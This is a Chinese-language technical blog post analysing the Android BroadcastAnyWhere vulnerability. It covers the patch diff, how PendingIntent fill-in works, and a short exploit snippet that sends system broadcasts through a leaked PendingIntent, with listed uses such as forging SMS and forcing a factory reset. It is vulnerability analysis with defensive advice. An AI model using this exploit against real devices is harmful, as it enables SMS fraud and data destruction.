• Android BroadcastAnyWhere(Google Bug 17356824)漏洞具体分析


    Android BroadcastAnyWhere(Google Bug 17356824)漏洞具体分析

    作者:简行(又名 低端码农)

    继上次Android的LaunchAnyWhere组件安全漏洞后,近期Google在Android 5.0的源代码上又修复了一个高危漏洞。该漏洞简直是LaunchAnyWhere的姊妹版——BroadcastAnyWhere。

    通过这个漏洞,攻击者能够以system用户的身份发送广播。这意味着攻击者能够无视一切的BroadcastReceiver组件訪问限制。并且该漏洞影响范围极广。Android 2.0+至4.4.x都受影响。

    漏洞分析

    修复前后代码对照

    BroadcastAnyWhere跟LaunchAnyWhere的利用原理很相似,两者都利用了Setting的uid是system进程高权限操作。

    漏洞相同发生在Setting的加入帐户的流程上,该流程具体见《Android LaunchAnyWhere (Google Bug 7699048)漏洞具体解释及防御措施》一文。而BroadcastAnyWhere漏洞则发生在这个流程之前。在分析漏洞之前。 我们先来看看漏洞修复的前后对照。具体代码在AddAccountSetting的addAccount方法。

    修复前代码中下:

     ...
     private static final String KEY_CALLER_IDENTITY = "pendingIntent";
     ...
    
     private void addAccount(String accountType) {
            Bundle addAccountOptions = new Bundle();
            mPendingIntent = PendingIntent.getBroadcast(this, 0, new Intent(), 0);
            addAccountOptions.putParcelable(KEY_CALLER_IDENTITY, mPendingIntent);
            addAccountOptions.putBoolean(EXTRA_HAS_MULTIPLE_USERS, Utils.hasMultipleUsers(this));
            AccountManager.get(this).addAccount(
                    accountType,
                    null, /* authTokenType */
                    null, /* requiredFeatures */
                    addAccountOptions,
                    null,
                    mCallback,
                    null /* handler */);
            mAddAccountCalled  = true;
        }

    修复后代码例如以下

    ...
    private static final String KEY_CALLER_IDENTITY = "pendingIntent";
    private static final String SHOULD_NOT_RESOLVE = "SHOULDN'T RESOLVE!";
    ...
    
    private void addAccount(String accountType) {
    
        Bundle addAccountOptions = new Bundle();
    
        /*
         * The identityIntent is for the purposes of establishing the identity
         * of the caller and isn't intended for launching activities, services
         * or broadcasts.
         *
         * Unfortunately for legacy reasons we still need to support this. But
         * we can cripple the intent so that 3rd party authenticators can't
         * fill in addressing information and launch arbitrary actions.
         */
        Intent identityIntent = new Intent();
        identityIntent.setComponent(new ComponentName(SHOULD_NOT_RESOLVE, SHOULD_NOT_RESOLVE));
        identityIntent.setAction(SHOULD_NOT_RESOLVE);
        identityIntent.addCategory(SHOULD_NOT_RESOLVE);
    
        mPendingIntent = PendingIntent.getBroadcast(this, 0, identityIntent, 0);
        addAccountOptions.putParcelable(KEY_CALLER_IDENTITY, mPendingIntent);
        addAccountOptions.putBoolean(EXTRA_HAS_MULTIPLE_USERS, Utils.hasMultipleUsers(this));
        AccountManager.get(this).addAccountAsUser(
                accountType,
                null, /* authTokenType */
                null, /* requiredFeatures */
                addAccountOptions,
                null,
                mCallback,
                null /* handler */,
                mUserHandle);
        mAddAccountCalled  = true;
    }

    mPenddingIntent的作用主要是作为身份识别用的。

    通过前后对照。修复方案就是把放入mPendingIntent的intent。由原来简单的new Intent()改为事先经过一系列填充的identityIntent。这样做,就能够防止第三方的Authenticator(主要是针对木马)进行二次填充。后面会具体介绍。

    注意PendingIntent.getBroadcast调用的參加中,在修复前传入的是一个"空"的Intent对象,这对后面的分析很关键。

    PeddingIntent的实现原理

    通过上面代码对照分析。假设你已经对PeddingIntent的实现细节比較清楚的话,那么这节的内容能够跳过。在PenddingIntent.java源文件里,有这么一段说明:

    /**
     * ...
     * ...
     * <p>By giving a PendingIntent to another application,
     * you are granting it the right to perform the operation you have specified
     * as if the other application was yourself (with the same permissions and
     * identity).  As such, you should be careful about how you build the PendingIntent:
     * almost always, for example, the base Intent you supply should have the component
     * name explicitly set to one of your own components, to ensure it is ultimately
     * sent there and nowhere else.
     *
     * <p>A PendingIntent itself is simply a reference to a token maintained by
     * the system describing the original data used to retrieve it.  This means
     * that, even if its owning application's process is killed, the
     * PendingIntent itself will remain usable from other processes that
     * have been given it.  If the creating application later re-retrieves the
     * same kind of PendingIntent (same operation, same Intent action, data,
     * categories, and components, and same flags), it will receive a PendingIntent
     * representing the same token if that is still valid, and can thus call
     * {@link #cancel} to remove it.
     * ...
     * ...
     */

    简单来说。就是指PenddingIntent对象能够按预先指定的动作进行触发。当这个对象传递(通过binder)到其它进程(不同uid的用户),其它进程利用这个PenddingInten对象,能够原进程的身份权限运行指定的触发动作。这有点相似于Linux上suid或guid的效果。另外,因为触发的动作是由系统进程运行的,因此哪怕原进程已经不存在了,PenddingIntent对象上的触发动作依旧有效。

    PeddingIntent是一个Parcelable对象。包括了一个叫名mTarget成员,类型是。这个字段事实上是个BinerProxy对象,真正的实现逻辑在PenddingIntentRecored.java。从源代码分析可知。PendingIntent.getBroadcast终于调用的是ActivityManagerService中的getIntentSender方法。关键代码例如以下:

    public IIntentSender getIntentSender(int type, String packageName, IBinder token, String resultWho, int requestCode, Intent[] intents, String[] resolvedTypes, int flags, Bundle options, int userId) {
    
        enforceNotIsolatedCaller("getIntentSender");
        ...
        ...        
        synchronized(this) {
            int callingUid = Binder.getCallingUid();
            int origUserId = userId;
            userId = handleIncomingUser(Binder.getCallingPid(), callingUid, userId,
                        type == ActivityManager.INTENT_SENDER_BROADCAST, false,
                        "getIntentSender", null);
            ...
            ...
    
            return getIntentSenderLocked(type, packageName, callingUid, userId, token, resultWho, requestCode, intents, resolvedTypes, flags, options);
    
                } catch (RemoteException e) {
                    throw new SecurityException(e);
                }
            }
        }
    IIntentSender getIntentSenderLocked(int type, String packageName, int callingUid, int userId, IBinder token, String resultWho, int requestCode, Intent[] intents, String[] resolvedTypes, int flags, Bundle options) {
    
            if (DEBUG_MU)
                Slog.v(TAG_MU, "getIntentSenderLocked(): uid=" + callingUid);
            ActivityRecord activity = null;
    
            ...
            ...
    
            PendingIntentRecord.Key key = new PendingIntentRecord.Key(type, packageName, activity, resultWho, requestCode, intents, resolvedTypes, flags, options, userId); //依据调用者的信息,生成PendingIntentRecord.Key对象
    
            WeakReference<PendingIntentRecord> ref;
            ref = mIntentSenderRecords.get(key);
            PendingIntentRecord rec = ref != null ?

    ref.get() : null; ... ... rec = new PendingIntentRecord(this, key, callingUid); //最后生成PendingIntentRecord对象 mIntentSenderRecords.put(key, rec.ref); //保存 ... return rec; //并返回 }

    总结一下这个过程。就是AMS会把生成PenddingIntent的进程(Caller)信息保存到PendingIntentRecord.Key。并为其维护一个PendingIntentRecord对象,这个对象是一个BinderStub。

    PendingIntent提供了一系列的send方法进行动作触发。终于是调用PendingIntentRecord的send方法,我们直接分析这里的代码:

    public int send(int code, Intent intent, String resolvedType,
                IIntentReceiver finishedReceiver, String requiredPermission) {
            return sendInner(code, intent, resolvedType, finishedReceiver,
                    requiredPermission, null, null, 0, 0, 0, null);
        }

    跟进去:

    int sendInner(int code, Intent intent, String resolvedType,
            IIntentReceiver finishedReceiver, String requiredPermission,
            IBinder resultTo, String resultWho, int requestCode,
            int flagsMask, int flagsValues, Bundle options) {
    
        synchronized(owner) {
            if (!canceled) {
                sent = true;
                if ((key.flags&PendingIntent.FLAG_ONE_SHOT) != 0) {
                    owner.cancelIntentSenderLocked(this, true);
                    canceled = true;
                }
                Intent finalIntent = key.requestIntent != null
                        ? new Intent(key.requestIntent) : new Intent();
                if (intent != null) {
                    int changes = finalIntent.fillIn(intent, key.flags); //用传进来的intent进行填充finalIntent
                    if ((changes&Intent.FILL_IN_DATA) == 0) {
                        resolvedType = key.requestResolvedType;
                    }
                } else {
                    resolvedType = key.requestResolvedType;
                }
    
                ...
                ...
    
                switch (key.type) {
                    ...
                    case ActivityManager.INTENT_SENDER_BROADCAST:
                        try {
                            // If a completion callback has been requested, require
                            // that the broadcast be delivered synchronously
                            owner.broadcastIntentInPackage(key.packageName, uid,
                                    finalIntent, resolvedType,
                                    finishedReceiver, code, null, null,
                                requiredPermission, (finishedReceiver != null), false, userId);
                            sendFinish = false;
                        } catch (RuntimeException e) {
                            Slog.w(ActivityManagerService.TAG,
                                    "Unable to send startActivity intent", e);
                        }
                        break;
                    ...
                }
    
                ...     
    
                return 0;
            }
        }
        return ActivityManager.START_CANCELED;

    针对该漏洞我们仅仅分析broadcast这个分支的逻辑就可以。这里发现。会用send传进来的intent对finalIntent进行填充。通过前面的代码分析得到。这里的finalInent是一个“空”的intent。即mAction, mData,mType等等全为null,这使得差点儿能够任意指定finalIntent的内容。见fillIn的代码:

    public int fillIn(Intent other, int flags) {
        int changes = 0;
        if (other.mAction != null
                && (mAction == null || (flags&FILL_IN_ACTION) != 0)) {
            mAction = other.mAction;
            changes |= FILL_IN_ACTION;
        }
        if ((other.mData != null || other.mType != null)
                && ((mData == null && mType == null)
                        || (flags&FILL_IN_DATA) != 0)) {
            mData = other.mData;
            mType = other.mType;
            changes |= FILL_IN_DATA;
        }
        if (other.mCategories != null
                && (mCategories == null || (flags&FILL_IN_CATEGORIES) != 0)) {
            if (other.mCategories != null) {
                mCategories = new ArraySet<String>(other.mCategories);
            }
            changes |= FILL_IN_CATEGORIES;
        }
        if (other.mPackage != null
                && (mPackage == null || (flags&FILL_IN_PACKAGE) != 0)) {
            // Only do this if mSelector is not set.
            if (mSelector == null) {
                mPackage = other.mPackage;
                changes |= FILL_IN_PACKAGE;
            }
        }
        // Selector is special: it can only be set if explicitly allowed,
        // for the same reason as the component name.
        if (other.mSelector != null && (flags&FILL_IN_SELECTOR) != 0) {
            if (mPackage == null) {
                mSelector = new Intent(other.mSelector);
                mPackage = null;
                changes |= FILL_IN_SELECTOR;
            }
        }
        if (other.mClipData != null
                && (mClipData == null || (flags&FILL_IN_CLIP_DATA) != 0)) {
            mClipData = other.mClipData;
            changes |= FILL_IN_CLIP_DATA;
        }
        // Component is special: it can -only- be set if explicitly allowed,
        // since otherwise the sender could force the intent somewhere the
        // originator didn't intend.
        if (other.mComponent != null && (flags&FILL_IN_COMPONENT) != 0) {
            mComponent = other.mComponent;
            changes |= FILL_IN_COMPONENT;
        }
        mFlags |= other.mFlags;
        if (other.mSourceBounds != null
                && (mSourceBounds == null || (flags&FILL_IN_SOURCE_BOUNDS) != 0)) {
            mSourceBounds = new Rect(other.mSourceBounds);
            changes |= FILL_IN_SOURCE_BOUNDS;
        }
        if (mExtras == null) {
            if (other.mExtras != null) {
                mExtras = new Bundle(other.mExtras);
            }
        } else if (other.mExtras != null) {
            try {
                Bundle newb = new Bundle(other.mExtras);
                newb.putAll(mExtras);
                mExtras = newb;
            } catch (RuntimeException e) {
                // Modifying the extras can cause us to unparcel the contents
                // of the bundle, and if we do this in the system process that
                // may fail.  We really should handle this (i.e., the Bundle
                // impl shouldn't be on top of a plain map), but for now just
                // ignore it and keep the original contents. :(
                Log.w("Intent", "Failure filling in extras", e);
            }
        }
        return changes;
    }

    从上面代码得知,我们能够任意指定除了mComponent之外的全部字段,这已经能够满足大部分的使用情景了。

    漏洞利用和危害

    有了前面分析,漏洞复用代码就很easy了。这里一个是发送系统开机广播的样例:

    // the exploit of broadcastAnyWhere
    final String KEY_CALLER_IDENTITY = "pendingIntent";
    PendingIntent pendingintent = options.getParcelable(KEY_CALLER_IDENTITY);
    Intent intent_for_broadcast = new Intent("android.intent.action.BOOT_COMPLETED");
    intent_for_broadcast.putExtra("info", "I am bad boy");
    
    try {
        pendingintent.send(mContext, 0, intent_for_broadcast);
    } catch (CanceledException e) {
        e.printStackTrace();
    }

    事实上可利用的广播实在太多了。再比方:

    • 发送android.provider.Telephony.SMS_DELIVER能够伪造接收短信。
    • 发送android.intent.action.ACTION_SHUTDOWN能够直接关机。
    • 发送com.google.android.c2dm.intent.RECEIVE广播,设备将恢复至出厂设置。
    • 等等

    攻击者通过漏洞能够伪造亲朋好友或者银行电商的短信。跟正常的短信全然无异。普通用户根本无法甄别。

    除了伪造短信外,攻击者能够利用该漏洞恢复出厂设置,对对用户进行威胁等等。

    ComponentSuperAccessor

    结合LuanchAynWhere和BroadcastAnyWhere两个漏洞,我适当的封装了一下。实现了一个ComponentSuperAccessor的库,有兴趣的朋友能够到https://github.com/boyliang/ComponentSuperAccessor.git下载。

    阿里移动安全专家建议

    • 对于开发人员。PenddingIntent尽可能不要跨进程传递。避免权限泄漏。或者尽量把PendingIntent中的字段都填充满,避免被恶意重定向。
    • 对于用户和厂商,尽快升级到Android L;
  • 相关阅读:
    PAT甲级——1095 Cars on Campus (排序、映射、字符串操作、题意理解)
    PAT甲级——1096 Consecutive Factors (数学题)
    PAT甲级——1097 Deduplication on a Linked List (链表)
    博客作业06--图
    博客作业05--查找
    博客作业04--树
    博客作业03--栈和队列
    博客作业2---线性表
    博客作业01-抽象数据类型
    C语言最后一次作业--总结报告
  • 原文地址:https://www.cnblogs.com/llguanli/p/8474614.html
Copyright © 2020-2023  润新知